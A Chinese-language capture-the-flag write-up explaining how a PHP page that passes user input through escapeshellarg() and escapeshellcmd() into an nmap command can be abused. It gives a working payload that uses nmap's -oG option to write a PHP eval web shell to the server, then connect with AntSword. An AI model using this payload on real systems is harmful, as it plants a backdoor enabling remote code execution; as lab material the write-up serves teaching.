escapeshellarg和escapeshellcmd函数重过滤绕过

nmap命令与escapeshellarg和escapeshellcmd函数

打开页面,可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

其中的X-Foewarded-For和Remote-Addr是服务器用来获取ip的,而escapeshellarg()和escapeshellcmd()函数是对特殊字符进行转义的

escapeshellarg()

1
escapeshellarg()函数会对单引号用反斜杠进行转义,并再用单引号将左右两部分括起来,起到连接的作用

escapeshellcmd()

1
2
3
对特殊字符加反斜杠进行转义,特殊字符为:&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF,以及'和"在不配对的情况下,以及%和!

在windows情况下,会将这些特殊字符转化为空格,而在linux下,如果是在system()函数中,\的转义会失效

而使用|&或&&通道的方式,会受到escapeshellarg()和escapeshellcmd()函数转义的影响,而nmap命令可以使用-oG来创建php文件并写入内容

因此,我们可以构造

1
' <?php @eval($_POST['host']); ?> -oG test.php '

来上传木马,而后会显示出文件的位置,最后用蚁剑连接就行